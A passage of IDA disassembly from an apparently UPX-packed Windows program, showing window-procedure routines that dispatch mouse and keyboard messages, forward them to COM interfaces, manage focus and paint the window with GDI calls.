loc_4020C2:				; CODE XREF: sub_402032+75j
		cmp	eax, 21h
		jnz	loc_4021E8
		lea	eax, [esp+18h+var_C]
		push	eax
		mov	ecx, edi
		mov	[esp+1Ch+var_C], 1
		call	sub_402623


loc_4020DF:				; CODE XREF: sub_402032+1DDj
					; sub_402032+1E8j
		cmp	[esp+18h+var_C], 0
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		jnz	short loc_40209C
		xor	esi, esi


loc_4020ED:				; CODE XREF: sub_402032+1F2j
		mov	ebx, [ebp+arg_10]


loc_4020F0:				; CODE XREF: sub_402032+206j
					; sub_402032+20Fj
		inc	esi


loc_4020F1:				; CODE XREF: sub_402032+34j
		mov	eax, [edi+98h]
		mov	ecx, [ebp+arg_4]
		test	al, 8
		jz	loc_40219C
		lea	edx, [ecx-200h]
		cmp	edx, 0Dh
		ja	loc_40219C
		and	al, 10h
		movzx	eax, al
		neg	eax
		sbb	eax, eax
		and	eax, 3
		mov	[esp+18h+var_4], eax
		jnz	short loc_402163
		mov	eax, [edi+70h]
		test	eax, eax
		jz	short loc_40219C
		movsx	ecx, word ptr [ebp+arg_C]
		mov	[esp+18h+var_C], ecx
		mov	ecx, [ebp+arg_C]
		shr	ecx, 10h
		movsx	ecx, cx
		lea	edx, [esp+18h+var_4]
		push	edx
		push	0
		mov	[esp+20h+var_8], ecx
		push	[esp+20h+var_8]
		mov	ecx, [eax]
		push	[esp+24h+var_C]
		lea	edx, [edi+0B4h]
		push	edx
		push	esi
		push	eax
		call	dword ptr [ecx+30h]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [ebp+arg_4]


loc_402163:				; CODE XREF: sub_402032+EFj
		cmp	eax, 3
		jnz	short loc_40219C
		mov	eax, 200h
		cmp	ecx, eax
		jnz	loc_402246


loc_402175:				; CODE XREF: sub_402032+21Bj
					; sub_402032+226j ...
		lea	ecx, [esp+18h+var_C]
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	eax


loc_402181:				; CODE XREF: sub_402032+28Cj
		mov	ecx, edi
		mov	[esp+28h+var_C], esi
		call	sub_402837
		cmp	[esp+18h+var_C], 0
		mov	[ebx], eax
		jnz	loc_40206C
		mov	ecx, [ebp+arg_4]


loc_40219C:				; CODE XREF: sub_402032+CAj
					; sub_402032+D9j ...
		mov	eax, [edi+98h]
		mov	edx, eax
		shr	edx, 2
		and	edx, eax
		test	dl, 8
		jz	loc_4023B3
		mov	eax, 100h
		cmp	ecx, eax
		jnz	loc_4022C3


loc_4021BF:				; CODE XREF: sub_402032+298j
					; sub_402032+2A1j ...
		lea	ecx, [esp+18h+var_C]
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	eax


loc_4021CB:				; CODE XREF: sub_402032+2E6j
					; sub_402032+2FCj ...
		mov	ecx, edi
		mov	[esp+28h+var_C], esi
		call	sub_4027F5
		cmp	[esp+18h+var_C], 0
		mov	[ebx], eax
		jz	loc_4023E3
		jmp	loc_40206C
; ---------------------------------------------------------------------------


loc_4021E8:				; CODE XREF: sub_402032+93j
		cmp	eax, 7
		jnz	short loc_40221F
		lea	eax, [edi+98h]
		or	dword ptr [eax], 20h
		test	byte ptr [eax],	40h
		mov	[esp+18h+var_C], 1
		jnz	short loc_402214
		lea	eax, [esp+18h+var_C]
		push	eax
		mov	esi, edi
		call	sub_4026BE
		jmp	loc_4020DF
; ---------------------------------------------------------------------------


loc_402214:				; CODE XREF: sub_402032+1CFj
		mov	[esp+18h+var_C], ecx
		xor	eax, eax
		jmp	loc_4020DF
; ---------------------------------------------------------------------------


loc_40221F:				; CODE XREF: sub_402032+1B9j
		xor	esi, esi
		cmp	eax, 8
		jnz	loc_4020ED
		mov	eax, [ebp+arg_10]
		and	dword ptr [edi+98h], 0FFFFFFDFh
		mov	[eax], ecx
		mov	ebx, eax
		jmp	loc_4020F0
; ---------------------------------------------------------------------------


loc_40223D:				; CODE XREF: sub_402032+64j
		mov	ebx, ecx
		xor	esi, esi
		jmp	loc_4020F0
; ---------------------------------------------------------------------------


loc_402246:				; CODE XREF: sub_402032+13Dj
		mov	eax, 202h
		cmp	ecx, eax
		jz	loc_402175
		add	eax, 3
		cmp	ecx, eax
		jz	loc_402175
		mov	eax, 208h
		cmp	ecx, eax
		jz	loc_402175
		add	eax, 0FFFFFFF9h
		cmp	ecx, eax
		jz	loc_402175
		mov	eax, 204h
		cmp	ecx, eax
		jz	loc_402175
		add	eax, 3
		cmp	ecx, eax
		jz	loc_402175
		mov	eax, 203h
		cmp	ecx, eax
		jz	loc_402175
		add	eax, 3
		cmp	ecx, eax
		jz	loc_402175
		cmp	ecx, 209h
		jnz	loc_40219C
		lea	eax, [esp+18h+var_C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ecx
		jmp	loc_402181
; ---------------------------------------------------------------------------


loc_4022C3:				; CODE XREF: sub_402032+187j
		mov	eax, 101h
		cmp	ecx, eax
		jz	loc_4021BF
		inc	eax
		cmp	ecx, eax
		jz	loc_4021BF
		mov	eax, 103h
		cmp	ecx, eax
		jz	loc_4021BF
		inc	eax
		cmp	ecx, eax
		jz	loc_4021BF
		mov	eax, 105h
		cmp	ecx, eax
		jz	loc_4021BF
		add	eax, 2
		cmp	ecx, eax
		jz	loc_4021BF
		cmp	ecx, 53h
		jnz	short loc_40231D
		lea	eax, [esp+18h+var_C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ecx
		jmp	loc_4021CB
; ---------------------------------------------------------------------------


loc_40231D:				; CODE XREF: sub_402032+2D8j
		cmp	ecx, 1Fh
		jnz	short loc_402333
		lea	eax, [esp+18h+var_C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ecx
		jmp	loc_4021CB
; ---------------------------------------------------------------------------


loc_402333:				; CODE XREF: sub_402032+2EEj
		mov	eax, 286h
		cmp	ecx, eax
		jnz	short loc_402361
		lea	ecx, [esp+18h+var_C]
		push	ecx
		push	[ebp+arg_C]
		mov	ecx, edi
		push	[ebp+arg_8]
		mov	[esp+24h+var_C], esi
		push	eax
		call	sub_4027F5
		cmp	[esp+18h+var_C], 0
		mov	[ebx], eax
		jz	short loc_40238A
		jmp	loc_40206C
; ---------------------------------------------------------------------------


loc_402361:				; CODE XREF: sub_402032+308j
		cmp	ecx, 209h
		jnz	short loc_40237A
		lea	eax, [esp+18h+var_C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ecx
		jmp	loc_4021CB
; ---------------------------------------------------------------------------


loc_40237A:				; CODE XREF: sub_402032+335j
		cmp	ecx, 281h
		jb	short loc_4023B3
		cmp	ecx, 291h
		ja	short loc_4023B3


loc_40238A:				; CODE XREF: sub_402032+328j
		lea	eax, [esp+18h+var_C]
		push	eax
		push	[ebp+arg_C]
		mov	ecx, edi
		push	[ebp+arg_8]
		mov	[esp+24h+var_C], esi
		push	[ebp+arg_4]
		call	sub_4027F5
		cmp	[esp+18h+var_C], 0
		mov	[ebx], eax
		jnz	loc_40206C
		mov	ecx, [ebp+arg_4]


loc_4023B3:				; CODE XREF: sub_402032+17Aj
					; sub_402032+34Ej ...
		cmp	ecx, 2
		jnz	short loc_4023E3
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+10h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	2
		push	dword ptr [edi+4]
		push	dword ptr [edi+20h]
		call	dword_41D27C	; CallWindowProcW
		mov	ecx, edi
		call	sub_4024D9
		and	dword ptr [ebx], 0


loc_4023E3:				; CODE XREF: sub_402032+1ABj
					; sub_402032+384j
		test	byte ptr [edi+0C8h], 8
		jz	short loc_402413
		lea	eax, [esp+18h+var_C]
		push	eax
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		mov	[esp+20h+var_C], esi
		mov	esi, [ebp+arg_C]
		call	sub_404508
		cmp	[esp+18h+var_C], 0
		mov	[ebx], eax
		jnz	loc_40209C
		xor	esi, esi
		inc	esi


loc_402413:				; CODE XREF: sub_402032+3B8j
		mov	eax, [ebp+arg_4]
		cmp	eax, dword_42EEA8
		jnz	short loc_402434
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+10h]
		mov	edi, eax


loc_402427:				; CODE XREF: sub_402032+411j
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]


loc_40242D:				; CODE XREF: sub_402032+40Fj
		mov	[ebx], edi
		jmp	loc_40206C
; ---------------------------------------------------------------------------


loc_402434:				; CODE XREF: sub_402032+3EAj
		cmp	eax, dword_42EEAC
		jnz	short loc_402445
		mov	edi, [edi+60h]
		test	edi, edi
		jz	short loc_40242D
		jmp	short loc_402427
; ---------------------------------------------------------------------------


loc_402445:				; CODE XREF: sub_402032+408j
		cmp	eax, 37Fh
		jnz	short loc_40245C
		push	[ebp+arg_C]
		push	edi
		call	sub_402467
		mov	[ebx], eax
		jmp	loc_40206C
; ---------------------------------------------------------------------------


loc_40245C:				; CODE XREF: sub_402032+13j
					; sub_402032+418j
		xor	eax, eax


loc_40245E:				; CODE XREF: sub_402032+3Cj
					; sub_402032+6Dj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	18h
sub_402032	endp


; =============== S U B	R O U T	I N E =======================================



sub_402467	proc near		; CODE XREF: sub_402032+41Ep
		push	0
		mov	eax, offset loc_41BF38
		call	sub_40C46D
		mov	eax, [ebp+8]
		mov	eax, [eax+60h]
		xor	ecx, ecx
		mov	[ebp+8], ecx
		test	eax, eax
		jz	short loc_402493
		mov	ecx, [eax]
		lea	edx, [ebp+8]
		push	edx
		push	offset dword_41D430
		push	eax
		call	dword ptr [ecx]
		mov	ecx, [ebp+8]


loc_402493:				; CODE XREF: sub_402467+19j
		and	dword ptr [ebp-4], 0
		test	ecx, ecx
		jz	short loc_4024C1
		push	dword ptr [ebp+0Ch]
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+14h]
		test	eax, eax
		jnz	short loc_4024BE
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp+8]
		test	eax, eax
		jz	short loc_4024B9
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4024B9:				; CODE XREF: sub_402467+4Aj
		xor	eax, eax
		inc	eax
		jmp	short loc_4024D1
; ---------------------------------------------------------------------------


loc_4024BE:				; CODE XREF: sub_402467+3Fj
		mov	ecx, [ebp+8]


loc_4024C1:				; CODE XREF: sub_402467+32j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		test	ecx, ecx
		jz	short loc_4024CF
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]


loc_4024CF:				; CODE XREF: sub_402467+60j
		xor	eax, eax


loc_4024D1:				; CODE XREF: sub_402467+55j
		call	sub_40C50C
		retn	8
sub_402467	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4024D9	proc near		; CODE XREF: sub_402032+3A9p
					; UPX0:00402A5Ap ...
		push	4
		mov	eax, offset loc_41BF5B
		call	sub_40C46D
		mov	esi, ecx
		mov	eax, [esi+98h]
		test	al, 40h
		jnz	loc_40261D
		or	eax, 40h
		mov	[esi+98h], eax
		mov	eax, [esi+70h]
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_402511
		mov	ecx, [eax]
		push	edi
		push	edi
		push	1
		push	eax
		call	dword ptr [ecx+1Ch]


loc_402511:				; CODE XREF: sub_4024D9+2Cj
		mov	ecx, [esi+94h]
		cmp	ecx, 0CDCDCDCDh
		jz	short loc_402539
		mov	eax, [esi+60h]
		push	ecx
		lea	ecx, [esi+80h]
		push	ecx
		call	sub_40154B
		mov	dword ptr [esi+94h], 0CDCDCDCDh


loc_402539:				; CODE XREF: sub_4024D9+44j
		mov	eax, [esi+64h]
		cmp	eax, edi
		jz	short loc_402561
		push	dword ptr [esi+9Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+50h]
		mov	eax, [esi+64h]
		mov	ecx, [eax]
		push	1
		push	eax
		call	dword ptr [ecx+18h]
		mov	eax, [esi+64h]
		mov	ecx, [eax]
		push	edi
		push	eax
		call	dword ptr [ecx+0Ch]


loc_402561:				; CODE XREF: sub_4024D9+65j
		mov	eax, [esi+60h]
		cmp	eax, edi
		jz	short loc_40259B
		mov	[ebp-10h], edi
		lea	edx, [ebp-10h]
		push	edx
		push	offset dword_423B8C
		mov	[ebp-4], edi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]
		mov	eax, [ebp-10h]
		cmp	eax, edi
		jz	short loc_40258D
		mov	ecx, [eax]
		push	edi
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	eax, [ebp-10h]


loc_40258D:				; CODE XREF: sub_4024D9+A8j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	eax, edi
		jz	short loc_40259B
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_40259B:				; CODE XREF: sub_4024D9+8Dj
					; sub_4024D9+BAj
		mov	eax, [esi+70h]
		cmp	eax, edi
		jz	short loc_4025AB
		mov	[esi+70h], edi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4025AB:				; CODE XREF: sub_4024D9+C7j
		mov	[esi+90h], edi
		mov	eax, [esi+74h]
		cmp	eax, edi
		jz	short loc_4025C1
		mov	[esi+74h], edi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4025C1:				; CODE XREF: sub_4024D9+DDj
		mov	eax, [esi+64h]
		cmp	eax, edi
		jz	short loc_4025D1
		mov	[esi+64h], edi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4025D1:				; CODE XREF: sub_4024D9+EDj
		mov	eax, [esi+60h]
		cmp	eax, edi
		jz	short loc_4025E1
		mov	[esi+60h], edi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4025E1:				; CODE XREF: sub_4024D9+FDj
		mov	eax, [esi+6Ch]
		cmp	eax, edi
		jz	short loc_4025F1
		mov	[esi+6Ch], edi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4025F1:				; CODE XREF: sub_4024D9+10Dj
		mov	eax, [esi+68h]
		cmp	eax, edi
		jz	short loc_402601
		mov	[esi+68h], edi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_402601:				; CODE XREF: sub_4024D9+11Dj
		and	dword ptr [esi+98h], 0FFFFFFA4h
		add	esi, 0C4h
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_40261D
		push	eax
		call	dword_41D30C	; DestroyAcceleratorTable
		mov	[esi], edi


loc_40261D:				; CODE XREF: sub_4024D9+16j
					; sub_4024D9+139j
		call	sub_40C50C
		retn
sub_4024D9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_402623	proc near		; CODE XREF: sub_402032+A8p
		push	0
		mov	eax, offset loc_41BF38
		call	sub_40C46D
		mov	esi, ecx
		mov	eax, [ebp+8]
		xor	edi, edi
		test	dword ptr [esi+0A0h], 4000h
		mov	[eax], edi
		jz	short loc_40269D
		cmp	[esi+64h], edi
		jz	short loc_4026B4
		test	byte ptr [esi+98h], 1
		jnz	short loc_4026B4
		mov	[ebp+8], edi
		mov	[ebp-4], edi
		mov	eax, [esi]
		call	dword ptr [eax+10h]
		mov	ecx, [eax]
		lea	edx, [ebp+8]
		push	edx
		push	offset dword_423BEC
		push	eax
		call	dword ptr [ecx]
		mov	ecx, [ebp+8]
		cmp	ecx, edi
		jz	short loc_40268D
		mov	eax, [esi+64h]
		mov	edx, [eax]
		lea	ebx, [esi+0B4h]
		push	ebx
		push	dword ptr [esi+4]
		push	edi
		push	ecx
		push	edi
		push	0FFFFFFFBh
		push	eax
		call	dword ptr [edx+2Ch]
		mov	ecx, [ebp+8]


loc_40268D:				; CODE XREF: sub_402623+4Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	ecx, edi
		jz	short loc_4026B4
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]
		jmp	short loc_4026B4
; ---------------------------------------------------------------------------


loc_40269D:				; CODE XREF: sub_402623+1Fj
		lea	eax, [esi+98h]
		or	dword ptr [eax], 20h
		test	byte ptr [eax],	40h
		jnz	short loc_4026B4
		lea	eax, [ebp+8]
		push	eax
		call	sub_4026BE


loc_4026B4:				; CODE XREF: sub_402623+24j
					; sub_402623+2Dj ...
		xor	eax, eax
		call	sub_40C50C
		retn	4
sub_402623	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4026BE	proc near		; CODE XREF: sub_402032+1D8p
					; sub_402623+8Cp
		push	4
		mov	eax, offset loc_41BF5B
		call	sub_40C46D
		xor	edi, edi
		cmp	[esi+64h], edi
		jz	short loc_402725
		test	byte ptr [esi+98h], 2
		jnz	short loc_402725
		mov	[ebp-10h], edi
		mov	[ebp-4], edi
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+10h]
		mov	ecx, [eax]
		lea	edx, [ebp-10h]
		push	edx
		push	offset dword_423BEC
		push	eax
		call	dword ptr [ecx]
		mov	ecx, [ebp-10h]
		cmp	ecx, edi
		jz	short loc_402717
		mov	eax, [esi+64h]
		mov	edx, [eax]
		lea	ebx, [esi+0B4h]
		push	ebx
		push	dword ptr [esi+4]
		push	edi
		push	ecx
		push	edi
		push	0FFFFFFFCh
		push	eax
		call	dword ptr [edx+2Ch]
		mov	ecx, [ebp-10h]


loc_402717:				; CODE XREF: sub_4026BE+3Cj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	ecx, edi
		jz	short loc_402725
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]


loc_402725:				; CODE XREF: sub_4026BE+11j
					; sub_4026BE+1Aj ...
		test	byte ptr [esi+98h], 8
		jz	short loc_402733
		push	dword ptr [esi+4]
		jmp	short loc_402753
; ---------------------------------------------------------------------------


loc_402733:				; CODE XREF: sub_4026BE+6Ej
		call	dword_41D338	; GetFocus
		push	eax
		push	dword ptr [esi+4]
		call	dword_41D328	; IsChild
		test	eax, eax
		jnz	short loc_402759
		push	5
		push	dword ptr [esi+4]
		call	dword_41D274	; GetWindow
		push	eax


loc_402753:				; CODE XREF: sub_4026BE+73j
		call	dword_41D354	; SetFocus


loc_402759:				; CODE XREF: sub_4026BE+87j
		mov	eax, [ebp+8]
		mov	[eax], edi
		xor	eax, eax
		call	sub_40C50C
		retn	4
sub_4026BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_402768	proc near		; CODE XREF: sub_402032+89p

arg_0		= dword	ptr  4

		mov	edx, [ebx+0B4h]
		movsx	eax, cx
		shr	ecx, 10h
		push	esi
		mov	esi, [ebx+0B8h]
		movsx	ecx, cx
		add	ecx, esi
		add	eax, edx
		push	edi
		mov	[ebx+0BCh], eax
		mov	[ebx+0C0h], ecx
		sub	ecx, esi
		lea	edi, [ebx+0ACh]
		sub	eax, edx
		lea	esi, [ebx+0A4h]
		mov	[edi], eax
		mov	[ebx+0B0h], ecx
		call	sub_404933
		mov	eax, [ebx+64h]
		test	eax, eax
		jz	short loc_4027BC
		mov	ecx, [eax]
		push	esi
		push	1
		push	eax
		call	dword ptr [ecx+44h]


loc_4027BC:				; CODE XREF: sub_402768+49j
		mov	eax, [ebx+74h]
		pop	edi
		pop	esi
		test	eax, eax
		jz	short loc_4027D3
		mov	edx, [eax]
		lea	ecx, [ebx+0B4h]
		push	ecx
		push	ecx
		push	eax
		call	dword ptr [edx+1Ch]


loc_4027D3:				; CODE XREF: sub_402768+5Bj
		test	byte ptr [ebx+98h], 8
		jz	short loc_4027E9
		push	1
		lea	eax, [ebx+2Ch]
		mov	ecx, [eax]
		push	0
		push	eax
		call	dword ptr [ecx+64h]


loc_4027E9:				; CODE XREF: sub_402768+72j
		mov	eax, [esp+arg_0]
		and	dword ptr [eax], 0
		xor	eax, eax
		retn	4
sub_402768	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4027F5	proc near		; CODE XREF: sub_402032+19Fp
					; sub_402032+31Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ecx+98h]
		and	[ebp+var_4], 0
		test	al, 1
		jz	short loc_40282A
		test	al, 8
		jz	short loc_40282A
		mov	eax, [ecx+74h]
		test	eax, eax
		jz	short loc_40282A
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword ptr [ecx+24h]
		cmp	eax, 1
		jnz	short loc_402830


loc_40282A:				; CODE XREF: sub_4027F5+10j
					; sub_4027F5+14j ...
		mov	eax, [ebp+arg_C]
		and	dword ptr [eax], 0


loc_402830:				; CODE XREF: sub_4027F5+33j
		mov	eax, [ebp+var_4]
		leave
		retn	10h
sub_4027F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402837	proc near		; CODE XREF: sub_402032+155p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ecx+98h]
		and	[ebp+var_4], 0
		test	al, 1
		jz	short loc_402867
		test	al, 8
		jz	short loc_402867
		mov	eax, [ecx+74h]
		test	eax, eax
		jz	short loc_402867
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword ptr [ecx+24h]


loc_402867:				; CODE XREF: sub_402837+10j
					; sub_402837+14j ...
		mov	eax, [ebp+arg_C]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_4]
		leave
		retn	10h
sub_402837	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402874	proc near		; CODE XREF: sub_402032+55p

var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 6Ch
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		xor	edi, edi
		cmp	[esi+70h], edi
		jnz	short loc_4028F1
		lea	eax, [ebp+var_4C]
		push	eax
		push	dword ptr [esi+4]
		call	dword_41D358	; BeginPaint
		mov	[ebp+var_50], eax
		cmp	eax, edi
		jz	loc_4029D6
		lea	eax, [ebp+var_60]
		push	eax
		push	dword ptr [esi+4]
		call	dword_41D34C	; GetClientRect
		push	dword ptr [esi+0CCh]
		call	dword_41D054	; CreateSolidBrush
		mov	ebx, eax
		cmp	ebx, edi
		jz	short loc_4028DC
		push	ebx
		lea	eax, [ebp+var_60]
		push	eax
		push	[ebp+var_50]
		call	dword_41D324	; FillRect
		push	ebx


loc_4028D6:				; CODE XREF: sub_402874+15Bj
		call	dword_41D038	; DeleteObject


loc_4028DC:				; CODE XREF: sub_402874+51j
					; sub_402874+CBj
		lea	eax, [ebp+var_4C]
		push	eax
		push	dword ptr [esi+4]
		call	dword_41D2FC	; EndPaint
		xor	eax, eax
		inc	eax
		jmp	loc_4029D8
; ---------------------------------------------------------------------------


loc_4028F1:				; CODE XREF: sub_402874+1Aj
		test	byte ptr [esi+98h], 8
		jz	loc_4029D4
		lea	eax, [ebp+var_4C]
		push	eax
		push	dword ptr [esi+4]
		call	dword_41D358	; BeginPaint
		mov	ebx, eax
		mov	[ebp+var_64], ebx
		cmp	ebx, edi
		jz	loc_4029D6
		lea	eax, [ebp+var_60]
		push	eax
		push	dword ptr [esi+4]
		call	dword_41D34C	; GetClientRect
		mov	eax, [ebp+var_54]
		sub	eax, [ebp+var_5C]
		push	eax
		mov	eax, [ebp+var_58]
		sub	eax, [ebp+var_60]
		push	eax
		push	ebx
		call	dword_41D044	; CreateCompatibleBitmap
		mov	[ebp+var_50], eax
		cmp	eax, edi
		jz	short loc_4028DC
		push	ebx
		call	dword_41D040	; CreateCompatibleDC
		mov	ebx, eax
		cmp	ebx, edi
		jz	short loc_4029CC
		push	[ebp+var_50]
		push	ebx
		call	dword_41D03C	; SelectObject
		mov	[ebp+var_6C], eax
		cmp	eax, edi
		jz	short loc_4029C5
		push	dword ptr [esi+0CCh]
		call	dword_41D054	; CreateSolidBrush
		mov	[ebp+var_68], eax
		cmp	eax, edi
		jz	short loc_4029BB
		push	eax
		lea	eax, [ebp+var_60]
		push	eax
		push	ebx
		call	dword_41D324	; FillRect
		push	[ebp+var_68]
		call	dword_41D038	; DeleteObject
		mov	eax, [esi+70h]
		mov	edx, [eax]
		push	edi
		push	edi
		lea	ecx, [esi+0B4h]
		push	ecx
		push	ecx
		push	ebx
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	1
		push	eax
		call	dword ptr [edx+0Ch]
		push	0CC0020h
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_54]
		push	[ebp+var_58]
		push	edi
		push	edi
		push	[ebp+var_64]
		call	dword_41D028	; BitBlt


loc_4029BB:				; CODE XREF: sub_402874+FCj
		push	[ebp+var_6C]
		push	ebx
		call	dword_41D03C	; SelectObject


loc_4029C5:				; CODE XREF: sub_402874+E9j
		push	ebx
		call	dword_41D02C	; DeleteDC


loc_4029CC:				; CODE XREF: sub_402874+D8j
		push	[ebp+var_50]
		jmp	loc_4028D6
; ---------------------------------------------------------------------------


loc_4029D4:				; CODE XREF: sub_402874+84j
		mov	[eax], edi


loc_4029D6:				; CODE XREF: sub_402874+2Ej
					; sub_402874+9Ej
		xor	eax, eax


loc_4029D8:				; CODE XREF: sub_402874+78j
		mov	ecx, [ebp+var_8]
		pop	edi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		leave
		retn	4
sub_402874	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		mov	ecx, [eax]
		and	dword ptr [ebp-4], 0
		push	edi
		push	0
		push	0
		push	offset dword_41D440
		lea	edx, [ebp-4]
		push	edx
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+28h]
		mov	edi, eax
		mov	eax, [ebp-4]
		test	eax, eax
		jz	short loc_402A1F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_402A1F:				; CODE XREF: UPX0:00402A17j
		mov	eax, edi
		pop	edi
		leave
		retn	10h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		mov	ecx, [eax]
		push	0
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+28h]
		pop	ebp
		retn	1Ch
; ---------------------------------------------------------------------------
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h]
		lea	esi, [edi-24h]
		xor	ebx, ebx
		mov	ecx, esi
		inc	ebx
		call	sub_4024D9
		mov	eax, [edi-20h]
		mov	ebp, dword_41D2B0
		mov	byte ptr [esp+14h], 0
		test	eax, eax
		jz	short loc_402A88
		cmp	eax, [esp+1Ch]
		jz	short loc_402A88
		push	507h
		push	0
		push	0
		push	eax
		call	ebp ; dword_41D2B0
		call	sub_4044BB


loc_402A88:				; CODE XREF: UPX0:00402A6Fj
					; UPX0:00402A75j
		push	dword ptr [esp+1Ch]
		call	dword_41D294	; IsWindow
		test	eax, eax
		jz	short loc_402AE4
		mov	ebx, [esp+1Ch]
		cmp	[edi-20h], ebx
		jz	short loc_402AA9
		call	sub_404477
		mov	byte ptr [esp+14h], 1


loc_402AA9:				; CODE XREF: UPX0:00402A9Dj
		push	0
		push	1
		push	dword ptr [esp+20h]
		mov	ecx, esi
		call	sub_404083
		mov	ebx, eax
		test	ebx, ebx
		jge	short loc_402AE4
		mov	ecx, esi
		call	sub_4024D9
		mov	edi, [edi-20h]
		test	edi, edi
		jz	short loc_402AE4
		push	507h
		push	0
		push	0
		push	edi
		call	ebp ; dword_41D2B0
		cmp	byte ptr [esp+14h], 0
		jz	short loc_402AE4
		call	sub_4044BB


loc_402AE4:				; CODE XREF: UPX0:00402A94j
					; UPX0:00402ABCj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, ebx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, 80004003h
		test	ecx, ecx
		jz	short locret_402B19
		mov	eax, [esp+4]
		mov	eax, [eax+3Ch]
		test	eax, eax
		jz	short loc_402B11
		mov	edx, [eax]
		push	ecx
		push	dword ptr [esp+0Ch]
		push	eax
		call	dword ptr [edx]
		jmp	short locret_402B19
; ---------------------------------------------------------------------------


loc_402B11:				; CODE XREF: UPX0:00402B03j
		and	dword ptr [ecx], 0
		mov	eax, 80040004h

locret_402B19:				; CODE XREF: UPX0:00402AF8j
					; UPX0:00402B0Fj
		retn	0Ch
; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
